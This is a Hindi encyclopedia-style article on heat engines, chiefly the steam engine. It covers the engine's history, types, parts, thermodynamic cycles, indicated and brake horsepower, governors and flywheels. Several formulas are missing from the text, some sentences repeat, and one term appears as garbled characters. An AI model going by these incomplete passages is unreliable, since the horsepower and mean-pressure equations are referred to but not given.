इंजन  

इंजन (ऊष्मा) उस यंत्र या मशीन को कहते हैं जिसकी सहायता से ऊष्मा का याँत्रिक ऊर्जा में रूपांतरण होता है। इंजन की इस याँत्रिक ऊर्जा का उपयोग कार्य करने के लिए किया जाता है। उष्मा इंजन दो प्रकार के हाते हैं :

1. बाह्य दहन इंजन-इसमें इंजन को चलानेवाला पदार्थ इंजन के बाहर अलग पात्र में तप्त किया जाता है। जैसे भाप इंजन में इंजन से अलग बायलर में पानी से भाप बनती है जो सिलिंडर में जाकर पिस्टन को चलाती है।

2. आंतरिक दहन इंजन-इसमें ऊष्मा इंजन के भीतर ही दहन द्वारा किसी तेल या पेट्रोल या किसी गैस को जलाकर उत्पन्न करते हैं। मोटरकार, हवाई जहाज इत्यादि में आंतरिक दहन इंजन का ही उपयोग होता है। भाप इंजन की तरह इनमें ईधंन जलाने के लिए अलग बायलर नहीं होता, इसी कारण इन इंजनों को आंतरिक दहन इंजन कहते हैं।

बाह्य दहन इंजन का सर्वोत्तम उदाहरण 'भाप इंजन' है। इसलिए इसका यहाँ सविस्तार वर्णन किया जा रहा है।

भाप इंजन बनाने के यत्न का सबसे प्राचीन उल्लेख अलेक्जैंड्रिया के हीरो के लेखों में मिलता है। हीरो उस विख्यात अलैक्जैंड्रीय संप्रदाय (300 ई.पू.-400 ई. सन्‌) का सदस्य था जिसमें टोलेमी, यूक्लिड, इरेटोस्थनीज जैसे तत्कालीन विज्ञान के महारथी सम्मिलित थे। हीरो ने अपने लेख में एक ऐसी युक्ति का वर्णन किया है जिसमें एक बंद बाक्स में वायु गर्म की जाती थी और एक नली के मार्ग से नीचे पानी भरे बर्तन की ओर फैलती थी। इसमें बर्तन का पानी दूसरी नली में चढ़ता था और एक नकली फुहारा बन जाता था। फिर इसके बाद इस संबंध में कहीं कोई विवरण नहीं मिलता है।

1606 ई. में, हीरो से लगभग 2,000 वर्ष बाद, नेपोलियन अकादमी के संस्थापक और तत्कालीन यूरोप में विज्ञान के अग्रणी नेता मार्क्सेव देला पोर्ता ने हीरो के फुहारेवाले प्रयोग में हवा की जगह भाप का उपयोग किया। उन्होंने यह भी सुझाया कि किसी बर्तन को पानी से भरने के लिए यदि उसे एक नली द्वारा पानी से किसी तालाब से संबंधित कर दिया जाय और तब उस बर्तन में भाप भरकर फिर उसे ऊपर से पानी के द्वारा ठंडा किया जाय तो भीतर की भाप संघनित होकर निर्वात उत्पन्न करेगी और उसकी जगह तालाब से पानी बर्तन में भर जाएगा।

1698 ई. में मार्क्वेस देला पोर्ता के इस सुझाव का उपयोग टामस सेवरी ने पानी चढ़ाने की एक मशीन में किया। इस प्रकार सेवरी पहला व्यक्ति था जिसने व्यावसायिक उपयोग का एक भाप इंजन बनाया, जिसका उपयोग खदानों में से पानी उलीचने और कुओं में से पानी निकालने में हुआ।

सेवरी के इंजन के आविष्कार के बाद भाप इंजन का अगला चरण न्यूकोमेन इंजन का आविष्कार था। इसका आविष्कार टामस न्यूकोमेन (1663-1729 ई.) ने किया। इस इंजन का खदानों और कुओं से पानी निकालने में 50 वर्षों तक उपयोग होता रहा। इसका ऐतिहासिक महत्व भी है, क्योंकि इसी से जेम्स वाट के आविष्कारों का मार्ग खुला। इस इंजन में पहली बार सिलिंडर और पिस्टन का उपयोग किया गया जो अब तक भाप इंजनों में प्रयुक्त किए जाते हैं।

चित्र 1- में न्यूकामेन का इंजन दिखाया गया है। इसमें पिस्टन जंजीर द्वारा एक उत्तोलक (लीवर) से लटका है। उत्तोलक एक दीवार पर कीलित होता है और उसकी दूसरी भुजा पर पानी पंप के पिस्टन की राड से लगी होती है। यह पंप कुएँ से पानी खींचकर पानी की टंकी में पहुँचाता रहता है। अब समस्या पिस्टन को ऊपर नीचे चलाने की है। इसके लिए पिस्टन जब सिलिंडर के पेंदे पर हो तो भाप खोली जाती है, इससे पिस्टन पर बल लगता है और वह ऊपर पहुँच जाता है। अब भाप की टोंटी बंद करके, पानी की टंकी से आनेवाली पाइप की टोंटी खोलते हैं जिससे पानी सिलिंडर को ठंढ़ा कर देता है। तब भाप संघनित होकर सिलिंडर के भीतर निर्वात उत्पन्न कर देती है जिससे वायुमंडल के दबाव के कारण पिस्टन नीचे उतर जाता है। इसी क्रिया को बार-बार दोहराया जाता है। सिलिंडर में आए पानी के निकास के लिए एक पार्श्व नली लगी हाती है और पानी की टंकी का संबंध एक पाइप के द्वारा पंप से रहता है।

वाल्वों को अपने आप खोलने और बंद करने के लिए ऐसा प्रबंध होता है कि वे उत्तोलक के उठने गिरने से स्वयं नियंत्रित हों। किंवदंती है कि यह आविष्कार हाथ से वाल्वों को नियंत्रित करने के लिए रखे गए एक सुस्त लड़के ने किया है। उसने उत्तोलक की झूलती भुजा से सिलिंडर के समानांतर एक छड़ बांध दी, और उसे धागों द्वारा वाल्वों से संबद्ध कर दिया और अपना काम इस छड़ को सौंपकर स्वयं खेलता रहता था। इसका उद्गम चाहे जो हो, यह समानांतर नियंत्रक तबसे भाप इंजनों का एक स्थायी अंग हो गया।

जेम्स वाट का महत्वपूर्ण कार्य भाप इंजन को सर्वश्रेष्ठ रूप देना है जिससे मनुष्य की शक्ति दस गुनी बढ़ गई और व्यावसायिक क्षेत्र में बृहद् परिवर्तन हो गया।

न्यूकामेन इंजन में भाप केवल निर्वात उत्पन्न करने के काम आती है। पिस्टन उठाने का काम, जिससे पानी चढ़ता है, वायुमंडलीय दाब करता है। लेकिन भाप को केवल संघनित करने में बहुत ईधंन व्यर्थ खर्च होता है।

जेम्स वाट ग्लासगो में एक चतुर वैज्ञनिक यंत्ररचयिता थे और 1763 में ग्लासगो विश्वविद्यालय के भौतिकी के प्रोफेसर से उन्हें एक न्यूकामेन इंजन की मरम्मत का ओदश मिला जो कभी ठीक न चलता था। मरम्मत करके समय वाट को ध्यान आया कि इसमें ईधंन बुरी तरह से व्यर्थ हो जाता है। विचारशील स्वभाव के वाट ने इससे श्रेष्ठ मशीन बनाने का विचार प्रारंभ कर दिया। इस प्रकार उन्होंने अनेक अन्वेषण किए और यंत्र बनाए, जिनसे भाप इंजन को उसका वर्तमान स्वरूप प्राप्त हुआ और वह उद्योग और सभ्यता की प्रगति में शक्तिशाली साधन बना।

जेम्स वाट के भाप इंजन का सिद्धांत चित्र 2 में दिखाया गया है अ अ सिलिंडर है जिसमें पिस्टन प आगे पीछे आता जाता रहता है। पिस्टन में एक खोखली नली प क लगी होती है जिसके सिरे पर बाहर की ओर से खुलनेवाला वाल्व क लगा होता है। स एक संघनित्र है जो पानी में डूबा रहता है और दूसरी ओर पंप ब से लगा होता है। ट को खोलने से क्रिया प्रारंभ होती है। जब द खुला हो, ठ बंद हो, तो पिस्टान बाट भ के कारण नीचे आ जाता है और सिलिंडर में उच्चदाब भाप भर जाती है। फिर द बंद करके ठ खोलने से यह भाप संघनित्र में ब द्वारा निर्वात कर दिए जाने पर खिंच आती है और वहाँ संघनित हो जाती है। इससे प के ऊपर निर्वात हो जाता है और पिस्टन वाष्प की दाब से ऊपर चढ़ता है और बाट भ पर कार्य करता है। अब फिर ठ को बंद करके द को खोल देने से बाट भ के कारण पिस्टन नीचे उतर आता है और भाप ऊपर की ओर भर जाती है (पूर्व क्रिया की अवशिष्ट निम्न दाब को क के मार्ग से बाहर ढकेल देती है)। इस प्रकार सिलिंडर गर्म बना रहता है।

सिलिंडर को अन्य ऊष्मा हानियों से रक्षित करने के लिए वाट ने उसके चारों ओर एक भाप बाक्स और लकड़ी लगाई। आजकल सिलिंडरों को एस्बस्टस या किसी अन्य कुचालक से लपेटकर ऊपर पतली धातु की खोल चढ़ा देते हैं।

भाप इंजन के प्रकार-भाप इंजन के निम्नलिखित मुख्य प्रकार हैं :

(क) एक एवं द्विक्रिया इंजन (single and double acting engine)-एकक्रिया इंजन में भाप पिस्टन के एक ही ओर कार्य करती है एवं द्विक्रिया इंजन में भाप पिस्टन के दोनों ओर कार्य करती है। यदि इन दोनों प्रकार के इंजनों में अन्य सभी अवस्थाएं समान हों, तो द्विक्रिया इंजन द्वारा प्राप्त शक्ति दूसरे प्रकार के इंजन द्वारा प्राप्त शक्ति की दूनी होती है। यही कारण है कि इन दिनों एकक्रिया इंजन कम ही व्यवहार में लाया जाता है।

(ख) ऊर्ध्वाधर एवं क्षैतिज इंजन-सिलिंडर की धुरी के ऊर्ध्वाधर या क्षैतिज होने के अनुसार इंजन ऊर्ध्वाधर या क्षैतिज कहा जाता है। क्षैतिज इंजन ऊर्ध्वाधर इंजन से अधिक जगह घेरता है। ऊर्ध्वाधर प्रकार के इंजन में घर्षण आदि कम होता है, जिसके कारण यह क्षैतिज इंजन की तुलना में अधिक दिन तक चल सकता है।

(ग) निम्न एवं उच्च चाल इंजन (low and high speed engine)-भाप इंजन की चाल वस्तुत: इसके क्रैंक शैफ्ट (crank shaft) परिक्रमण (revolutions) प्रति मिनट की चाल होती है। चार फुट पिस्टन स्ट्रोक (piston storke) एवं 80 परिक्रमण प्रति मिनटवाले इंजन में औसत पिस्टन चाल 640 फुट प्रति मिनट होगी। यह इंजन निम्न चाल इंजन कहा जाएगा। साधारणत: 100 परिक्रमण प्रति मिनट की चाल से कम चाल पर चलनेवाले इंजन को निम्न चाल इंजन कहते हैं एवं 250 परिक्रमण प्रति मिनट की चाल से अधिक चाल पर चलनेवाले इंजन को उच्च चाल इंजन कहते हैं। 100 और 250 परिक्रमण प्रति मिनट के बीच की चाल पर चलनेवाले इंजन को 'मध्यम चाल इंजन' (medium speed engine) कहते हैं। उच्च चाल इंजन की सबसे बड़ा गुण यह है कि समान शक्ति के लिए यह बहुत ही छोटे आकार का होता है। उच्च चाल के कारण भाप भी कम ही खर्च होती है, क्योंकि इस प्रकार के इंजन में भाप और सिलिंडर के बीच ऊष्मा स्थानांतरण (heat transfer) में बहुत ही कम समय लगता है।

(घ) संघनन और असंघन इंजन (condensing and noncondensing engine)-असंघनन इंजन वह भाप इंजन है जिससे भाप का निकास (exhaust) सीधे वायुमंडल में होता है एवं इसके लिए सिलिंडर में भाप की दाब वायुमंडल की दाब से कभी कम नहीं होनी चाहिए। संघनन इंजन में भाप कार्य करने के बाद संघनित्र में प्रवेश करती है एवं वह वहाँ वायुमंडल की दाब पर जल में परिवर्तित हो जाती है। संघनित्र का व्यवहार करने से भाप अधिक कार्य कर पाती है।

(च) सरल एवं संयोजी इंजन (simple and compound engine) सरल इंजन में प्रत्येक सिलिंडर बॉयलर से सीधे भाप पाता है एवं सीधे वायुमंडल या संघनित्र में निकास (exhaust) करता है। संयोजी इंजन में भाप एक सिलिंडर में, जिसे उच्च दाब सिलिंडर कहते हैं, कुछ हद तक प्रसारित होती है और उसके बाद उससे कुछ बड़े सिलिंडर में, जिसे निम्न दाब सिलिंडर कहते हैं, प्रवेश करती है एवं यहाँ प्रसार की क्रिया पूर्ण होती है। बहुधा निम्न दाब सिलिंडर संघनित्र में निकास करता है। प्रसार तीन या चार सिलिंडर में भी हो सकता है एवं इन इंजनों को त्रिप्रसार इंजन (triple expansion engine) या चतुष्प्रसार इंजन (quadruple expansion engine) कहते हैं।

प्रत्यागामी इंजन की यंत्रावली-(reciprocating engine mechanism) चित्र3. में इंजन के विभिन्न पुर्जे दिखाए गए हैं। सिलिंडर (1) फ्रेम (frame) (2) के एक ओर बोल्ट (bolt) द्वारा बँधा रहता है। सिलिंडर ढक्कन (cylinder cover) (3) सिलिंडर के दूसरी ओर बोल्ट द्वारा बँधा रहता है। सिलिंडर से ऊष्मा संचार को कम करने के लिए अचालक (non-conductor)

परिवेष्टन (lagging) (4) द्वारा सिलिंडर को चारों ओर से ढँक दिया जाता हैं। इस परिवेष्टन को इस्पात की चादर (5) से लपेट दिया जाता है ताकि बाहर से देखने में अच्छा लगे। पिस्टन (6) पिस्टन दंड (7) के एक ओर लगा रहता है, जो भरण बाक्स (stuffing box) (8) के अंदर से चलता है। क्राँस हेड (cross head) (9) पिस्टन दंड के दूसरी ओर लगा रहता है और गाइड (guide) (10) पर टिका रहता हैें। योजक दंड (connecting rod) (11) का एक किनारा क्रांस हेड से गजन पिन (gudgeon pin) (12) द्वारा जोड़ा रहता है। इसका दूसरा किनारा क्रैंक (crank) (14) से क्रैंक पिन (crank pin) (13) द्वारा बंधा रहता है। क्रैंक शैफ्ट (crank shaft) (15) इंजन का मुख्य पुर्जा है। यह मुख्य बेयरिंग (bearing) (16) में चलता है। इंजन में व्यवहृत स्नेहक तेल (lubricating oil) आदि इंजन के फ्रेम के आधार के पास इकट्ठा किए जाते हैं (17) भाप द्वारों (ports) (18) द्वारा सिलिंडर में प्रवेश करती है, या इससे बाहर निकलती है।

भाप इंजन का कार्यसिद्धांत (working principle)-ऊष्मा इंजन की अधिकतम दक्षता (ता1-ता2)/ता1 (T1-T2 )T1 होती है जिसमें ता1 (T1) और ता2 (T2) ऊष्मा इंजन चक्र (heat engine cycle) में अधिकतम एवं न्यूनतम ताप हैं। इससे पता चलता है कि इंजन की दक्षता इन दोनों तापों पर निर्भर करती है। भाप इंजन चलता है कि इंजन की दक्षता इन दोनों तापों पर निर्भर करती है। भांप इंजन की दक्षता उतनी ही बढ़ती जाएगी जितनी ता1 (T1) का मूल्य बढ़ेगा एवं ता2 (T2) का मूल्य घटेगा। ता1 (T1) के मूल्य को बढ़ाने के लिए बायलर से निकल कर इंजन में आनेवाली भाप की दाब को बढ़ाना होगा, क्योंकि भाप की दाब जितनी ही अधिक होगी ता1 (T1) का मूल्य उतना ही बढ़ेगा। ता, (T1) को बढ़ाने का एक और उपाय है। वह है भाप को अतितापित करना। अतितापक का बॉयलर में व्यवहार करके भाप का अधिताप बढ़ाया जाता है। ता2 (T2) के मान को कम करने के लिए संघनित्र का व्यवहार करना आवश्यक हो जाता है। संघनित्र में ठंढे जल द्वारा भाप जल में परिवर्तित की जाती है। अत: अच्छे संघनित्र में ता2 (T2) का मान ठंढे जल के ताप के बराबर हो सकता है। इससे पता चलता है कि भाप इंजन में अधिक दाब एवं अतितप्त भाप द्वारा कार्य कराने से एवं कार्य कराने के बाद भाप को संघनित्र में प्राप्य ठंढे जल के ताप के बराबर ताप पर जल में परिवर्तित करने से इंजन अधिक दक्ष होगा।

बॉयलर से भाप उच्च दाब पर भापपेटी (steam chest) में प्रवेश करती है। पिस्टन जैसे ही स्ट्रोक (stroke) के अंत में पहुँचता है, उसी समय वाल्व चलता है, जिसमें भापद्वार (steam port) खुल जाता है एवं भाप सिलिंडर में प्रवेश करती है। भाप की दाब द्वारा धक्का दिए जाने से पिस्टन आगे बढ़ता हे। इसे अग्र स्ट्रोक (forward stroke) कहते हैं। पिस्टन की चाल द्वारा क्रैंक, क्रैंक शाफ्ट एवं उत्केंद्रक (eccentric) चलते हैं। उत्केंद्रक के चलने से द्वार कुछ और अधिक खुल जाता है। सिलिंडर में भाप तब तक प्रवेश करती रहती है जब तक द्वार एकदम बंद नहीं हो जाता। इस समय विच्छेद (cut off) होता है एवं इसके बाद सिलिंडर में भाप का संभरण (supply) नही हो पाता। सिलिंडर में आई हुई भाप अब प्रसारित होती है एवं इस प्रसार में भाप का आयतन बढ़ जाता है एवं दाब कम हो जाती है। इसी प्रकार के समय भाप कार्य करती है। अग्र स्ट्रोक के अंत में वाल्व भापद्वार को निकास की ओर खोल देता है, जिससे भाप निर्मुक्त होती है। निकली हुई भाप की दाब पश्च दाब (back pressure) के बराबर हो जाती है। निर्मोचन होने के कुछ क्षण के बाद पिस्टन पीछे की ओर लौटता है एवं इसे प्रत्यावर्तन स्ट्रोक (return stroke) कहते हैं। इस स्ट्रोक में लौटते समय पिस्टन सिलिंडर में बची हुई भाप का निकास करता जाता है। जब पिस्टन इस स्ट्रोक के अंत पर पहुँचता है, वाल्व निकास द्वार को बंद कर देता है, जिससे भाप का प्रवाह बंद हो जाता है। सिलिंडर शीर्ष और पिस्टन के बीच कुछ भाप बच जाती है, जो निर्मुक्त नहीं हो पाती है। फिर चक्र की पुनरावृत्ति होती है।

द्विक्रिया इंजन में इसी से सदृश चक्र की क्रिया सिलिंडर की दूसरी ओर होती है।

भाप का कार्नो चक्र (Carnot cycle)-गैस के कार्नो चक्र में दो रुद्धोष्म (adiabatic) एवं दो स्थिर तापवाली क्रियाएँ होती है। भाप को व्यवहत करने पर दो स्थिर तापवाली क्रियाएँ स्थिर दाब की क्रियाएँ हो जाती हैं, क्योंकि जल या भाप को स्थिर ताप पर रखने के लिए दाब को भी स्थिर रखना होगा। चित्र 4. में भाप का कार्नो चक्र दर्शाया गया हैं। बिंदु अ से आरंभ करने पर चक्र की ये चार क्रियाएं हैं: (1) बिंदु अ पर जल ता1 (T1) ताप एवं द1 (p1) दाब पर रहता है। यह जल स्थिर ताप पर गरम किया जाता है। जब वाष्पीकरण पूरा हो जाता है तब भाप की अवस्था बिंदु ब से एवं यह क्रिया अ ब से दिखाई जाती है। (2) बिंदु ब पर ऊष्मा का प्रदाय बंद हो जाता है एवं भाप रुद्धोष्म तरीके से बिंदु स तक प्रसरित होती हैं। प्रसार के अंत में दाब एवं ताप घटकर क्रमश: दा2 (p2) एवं ता2 (T2) हो जाता है। यह क्रिया ब स है। (3) बिंदु स से द तक भाप स्थिर ताप ता2 (T2) पर संपीड़ित होती है। इस क्रिया से भाप का संघनन होता जाता है। द बिंदु पर पहुँचने पर कुछ भाप बच जाती है। (4) द बिंदु पर बची हुई भाप का रुद्धोष्म तरीके से द अ द्वारा संपीडन होता है। इससे इसका आयतन बहुत ही कम हो जाता है। इसके बाद चक्र की पुनरावृत्ति होती है

रैंकिन चक्र (Rankine cycle)-रैंकिन चक्र एक सैद्धांतिक चक्र है, जिसके अनुसार भाप इंजन कार्य करता है। यह चक्र चित्र 5. में अंकित किया गया है। मान लिया कि चक्र के आरंभ में सिलिंडर के अंतरायतन (clearance volume) में कुछ जल है एवं इस जल का आयतन नगण्य है। इस अवस्था को बिंदु अ से दिखाया गया है। रैंकिन चक्र की ये क्रियाएं हैं : (1) अ ब संघनित्र से संघनित जल पंप द्वारा बॉयलर में उच्च दाब पर भेजा जाता है। बॉयलर में यह जल उच्च दाब के संतृप्त ताप (saturation temperature) तक गरम किया जाता है। (2) ब स बॉयलर में स्थिर दाब दा1 (P1) पर गरम जल का वाष्पीकरण होता है। (3) स द, बिंदु स पर भाप बॉयलर से भाप इंजन में प्रवेश करती है। भाप इंजन में भाप का प्रसार रुद्धोष्म तरीके से बिंदु द तक होता है। इस प्रसार के द्वारा भाप कार्य करती है। प्रसार के अंत में भाप की दाब दा2 (P2) हो जाती है। (4) द अ के बिंदु द पर भाप, इंजन में कार्य करने के बाद संघनित्र में प्रवेश करती है। संघनित्र में भाप स्थिर दाब पर जल के रूप में परिवर्तित होती है। बिंदु अ से पुन: चक्र की पुनरावृत्ति होती है।

व्यवहार में रैंकिन चक्रका रूपांतरण-वस्तुत: व्यवहार में भाप को दाब आयतन रेखाचित्र के अंतिम छोर बिंदु द तक प्रसारित करने से कुछ भी लाभ नहीं होता। इस रेखाचित्र का क्षेत्रफल भाप इंजन द्वारा प्राप्त कार्य के बराबर होता है। इसे देखने से पता चलेगा कि यह अंतिम सिरे की ओर बहुत ही संकीर्ण है, जिसके फलस्वरूप प्रसार स्ट्रोक के अंतिम भाग में प्राप्त कार्य बहुत ही कम होगा। इस संकीर्ण भाग द्वारा प्राप्त कार्य इंजन के गतिमान पुर्जों के घर्षण को भी पूरा कर सकने में असमर्थ होता है। इसी कारण प्रसार स्ट्रोक बिंदु य पर ही समाप्त कर दिया जाता है। तब बिंदु य से भाप की दाब स्थिर आयतन पर कम होती जाती है एवं बिंदु फ पर पहुँचने पर यह संघनित्र की दाब के बराबर हो जाती है। अत: चित्र3. में अ ब स य फ रूपांतरित रैंकिन चक्र है।

परिकल्पित और वास्तविक सूचक रेखाचित्र-चित्र 6. में अ ब स द य परिकल्पित रेखाचित्र एवं '1-2-3-4-5' वास्तविक रेखाचित्र है। भाप इंजन का परिकल्पित सूचक रेखाचित्र वह सैद्धांतिक रेखाचित्र है जो यह मानकर बनाया जाता है कि इंजन में किसी भी प्रकार की क्षति नहीं हो रही है। इस प्रकार का रेखाचित्र बनाते समय ये परिकल्पनाएं कर ली जाती है। (क) द्वारों का खुलना और बंद होना तात्क्षणिक होता है।

(ख) भाप के संघनन द्वारा दाबक्षति (थ्दृद्मद्म) नहीं होती है। (ग) वाल्ब द्वारा अवरोधन क्रिया नहीं होती है। (घ) भाप बॉयलर की दाब पर इंजन में प्रवेश करती है और संघनित्र की दाब पर उसकी निकासी होती है। (च) इंजन में भाप का अतिपरवलयिक (hyperbolic) प्रसार होता है।

वस्तुत: वास्तविक इंजन में क्षतियाँ होती हैं। इन क्षतियों के कारण इंजन पर प्रयोग द्वारा मिलनेवाले सूचक रेखाचित्र, जिन्हें 'वास्तविक सूचक रेखाचित्र' कहते हैं, परिकल्पित रेखाचित्र से भिन्न होते हैं। बॉयलर से भाप नली द्वारा इंजन में प्रवेश करती है। इस नली में गरम भाप के प्रवाह के कारण कुछ भाप का संघनन हो जाता है, जिसके कारण भाप की दाब कम हो जाती है। वाल्व द्वारा भाप के प्रवेश करते समय अवरोधन के कारण भी दाब में कुछ कमी हो जाती है। इन्हीं सब क्षतियों के कारण इंजन में प्रवेश करते समय भार की दाब बॉयलर की दाब से कम रहती है। सिलिंडर की दीवारें भाप की तुलना में ठंढी होती हैं। इसके कारण भाप का संघनन होता है। इसके फलस्वरूप विच्छेद बिंदु तक दाब में धीरे धीरे क्षति होती जाती है। सिलिंडर की दीवारों द्वारा ताप के चालन के कारण प्रसारवक्र वास्तव में अतिपरवलयिक नहीं हो पाता है। भाप का उन्मोचन स्ट्रोक के पूर्ण होने के पहले ही हो जाता है। प्रवेश एवं निकास द्वार के क्रमश: बंद होने और खुलने में लगनेवाले समय के कारण रेखाचित्र में उन दो बिंदुओं पर कुछ वक्रता आ जाती है। चूँकि कार्य करने के बाद भाप को संघनित्र में भेजना होतजा है, इसीलिए निकासी रेखा संघनित्र-दाब-रेखा से ऊपर रहती है। निकास द्वार के बंद हो होने के बाद सिलिंडर में बची हुई भाप का पिस्टन द्वारा संपीडन होता है। इसके कारण इस बिंदु पर भी रेखाचित्र में कुछ वक्रता आ जाती है। इस संपीडन स्ट्रोक के पूर्ण होने के ठीक कुछ पहले ताजी भाप इंजन में प्रवेश करती है। सिद्धांत एवं व्यवहार में पाए जानेवाले इन्हीं सब विचलनों के कारण दोनों रेखाचित्रों में अत्यंत अंतर हो जाता है। इसके कारण वास्तविक रेखाचित्र का क्षेत्रफल परिकल्पित रेखाचित्र के क्षेत्रफल से कम हो जाता है इन दोनों क्षेत्रफलों के अनुपात को 'रेखाचित्र गुणक' (diagram factor) की संज्ञा दी गई है। रेखाचित्र गुणक का मान 0.6 से 0.9 तक होता है।

भाप इंजन की अश्वशक्ति-ऊपर बताए गए परिकल्पित सूचक रेखाचित्र द्वारा पता चलता है कि भाप की दाब पिस्टन के पूरे स्ट्रोक के समान नहीं रह पाती। इंजन की अश्वशक्ति को जानने के लिए भाप की दाब के औसत मान का अंकन करना आवश्यक हो जाता है। इस दाब को माथ्य प्रभावी दाब कहते हैं।

परिक्ल्पित माध्य प्रभावी दाब जहाँ दअ (P1)=भाप इंजनों में अंतर्गम दाब दष (Pb)=पश्च दाब और प्र (r)=प्रसार का अनुपात है। परिकल्पित सूचक रेखाचितत्र के आधार पर निकाली गई माध्म प्रभावी दाब को 'परकिल्पित माध्म प्रभावी दाब' कहते है। वास्तविक सूचक-रेखाचित्र द्वारा प्राप्त माध्य प्रभावी दाब को वास्तविक माध्य प्रभावी दाब कहते है।

दोनों में निम्नलिखित संबंध है: वास्तविक माध्य प्रभावी दाब=(परिकल्पित माध्य प्रभावी दाब)´रेखाचित्र गुणाक

भाप इंजन पर वासतविक सूचक रेखाचित्र, इंजन सूचक द्वारा प्राप्त होता है। इंजन सूचक एक ऐसा उपकरण है जो दो गतियों को दिखाता है: एक, ऊर्ध्वगाति जो दाब की अनुपाती होती है, एवं दूसरी, क्षैतिज गति जो पिस्टन विस्थापन की अनुपाती होती है। इस उपकरण में एक छोटा सा सिलिंडर होता है, जिसमें एक बहुत ही चुस्त पिस्टन एक सिरे से दूसरे सिरे तक चलता है। पिस्टन के द्वारा पिस्टन दंड चलता है, जिसपर एक कमानी लगी रहती है। कमानी का दूसरा छोर उपकरण के स्थिर हिस्से से कसकर बँधा रहता है। पिस्टन दंड पेंसिल यंत्रावली (pencil mechanism) को चलाता है, जो सूचक पिस्टन (indicator piston) की गति को ड्रम (drum) पर बढ़ाकर दिखाता है। क्षैतिज विस्थापन एक दोलन ड्रम (oscillating drum) की सहायता से प्राप्त होता है। सूचक चित्र एक खास तरह के पत्रक (card) पर लिया जाता है। ड्रम के ऊपर पत्रक को पकड़ने के लिए दो क्लिप (clip) रहते हैं। ड्रम की गति इंजन के पिस्टन की गति को अनुरूपित करती है और इसलिए एक खास माप पर पिस्टन के विस्थापन को दिखाती है।

सूचक रेखाचित्र के आधार पर निकाले गए माध्य प्रभावी दाब को व्यवहार करने से प्राप्त अश्वशक्ति को 'सूचित अश्वशक्ति' (Indicated horse power) कहते हैं।

जहाँ दामा1 (Pm1) और दामा2 (Pm2) भाप इंजन के दोनों ओर के माध्य प्रभावी दाब पाउंड वर्ग इंच में हैं, क्षे1 (A1) तथा क्षे2 (A2) क्रमश: दोनों ओर के क्षेत्रफल वर्ग इंच में हैं, स्ट्रो (L)=स्ट्रोक (stroke) की लंबाई फुट में और प (N)=इंजन का परिक्रमण प्रति मिनट है।

सिलिंडर में उत्पन्न की हुई श्क्ति का कुछ हिस्सा इंजन के गतिमान पुर्जो के घर्षण में ही समाप्त हो जाता है: अत: क्रैंकशैफ्ट पर प्राप्य ऊर्जा संपूर्ण ऊर्जा से सर्वदा कम रहती है। क्रैंकशैफ्ट पर प्राप्य शक्ति को बहुधा ब्रेक प्रणाली द्वारा मापा जाता है एवं इसी के चलते इसे ब्रेक अश्वशक्ति कहते हैं। इंजन की अश्वशक्ति को मापने के उपकरण को डाइनेमोमीटर (dynamometer) कहते हैं (द्र. 'डाइनेमोमीटर)।

इंजन के विभिन्न पुर्जो के घर्षण में लगनेवाली शक्ति को 'घर्षण अश्वशक्ति कहते हैं।

घर्षण अश्वशक्ति-सूचित अश्वशक्ति-ब्रेक अश्वशक्ति भाप इंजन का गतिनियामक (governor)-गति नियामक का मुख्य कार्य इंजन की गति का नियमन करना है। भाप इंजन के गति-नियामक इन दो तरीकों में से एक ही सहायता से परिभ्रमण की गति स्थिर रख पाता है: (1) विच्छेद बिंदु को बदलने से तथा (2) भाप की प्रारंभिक दाब को परिवर्तित करने से। शक्ति की माँग के अनुसार भाप की दाब को बढ़ाकर या घटाकर इंजन की गति का नियमन करनेवाले गतिनियामक को अवरोध गतिनियामक (throttling governor) कहते हैं। गतिनियामक एक अवरोध वाल्व को चलाता है, जो मुख्य भाप नली में रखा होता है। इस प्रकार के गतिनियामकों में मुख्य गतिपालक कंदुक गतिनियामक (fly ball governor) होता है। वाल्व संतुलित प्रकार का होता है, अर्थात्‌ भापदाब द्वारा परिणामी बल (resultant force) शून्य होता है। जब इंजन की गति बढ़ती है, गतिनियामक कंदुकों के परिभ्रमण की गति में भी वृद्धि हो जाती है, जिससे केंद्रापसारी बल बढ़ जाता है। बल की यह वृद्धि उन्हें गुरुत्वाकर्षणबल एवं नियंत्रण कमानी के विरुद्ध बाहर चलने का बाध्य करती है। इसके चलते वाल्व कुछ अंश में बंद हो जाता है। वाल्व द्वारा अवरोध होने पर पिस्टन पर कार्य करनेवाली भाप की दाब में कमी हो जाती है, जिसके कारण उत्पन्न शक्ति भी कम हो जाती है। एवं इंजन की गति में कमी होने के कारण वाल्व कमानी ऊपर उठ जाती है एवं इंजन की गति में कमी होने के कारण वाल्व कमानी ऊपर उठ जाती है एवं पिस्टन पर कार्य करनेवाली भाप की दाब में वृद्धि हो जाती है, जिसके फलस्वरूप गति बढ़कर सामान्य गति पर आ जाती है। अवरोध गति-नियामक द्वारा नियमित भाप इंजन में प्रयोग के बाद यदि इंजन में प्रति घंटे व्यवहृत भाप की तौल को अश्वशक्ति के साथ आँका जाए, तो एक सरल रेखा प्राप्त होगी। यह संबंध सर्वप्रथम विलिअन ने पाया था। अत: इन्हीं के नाम पर इसे 'विलिअन की रेखा' (Willian's Line) कहते हैं।

गतिपालक चक्र (flywheel)-बहुधा गतिपालक चक्र ढालवें लोहे का बना होता है। इसमें एक घेरा (rim), एक नाभि (hub) एवं नाभि को घेरा से जोड़ने के लिए भुजाएँ (arms) होती हैं। जिस ईषा (shaft) पर गतिपालक चक्र लगाना होता है, उसका व्यास ऐसा होना चाहिए कि उसपर नाभिक ठीक बैठ जाए। गतिपालक चक्र को ईषा के साथ चाभी के द्वारा अटकाया जाता है।

गतिपालक चक्र का मुख्य कार्य है इंजन के कार्य करते समय ऊर्जा के परिवर्तन द्वारा होनेवाली गति के परिवर्तन को कम करना। यह चक्र इंजन को निष्क्रिय स्थिति (dead centres) के ऊपर ले जाता है। निष्क्रिय स्थिति के समय क्रैंक और योजी दंड स्ट्रोक के किसी भी ओर में एक सीध में रहता है और इस समय पिस्टन पर कार्य करनेवाली भाप क्रैंक को घुमाने में असमर्थ हो जाती है। गतिपालक चक्र को चालक घिरनी (driving pully) के रूप में भी काम में लाया जा सकता है। कार्य का सफलतापूर्वक संपादन करने के लिए इनका भारी होना आवश्यक है।

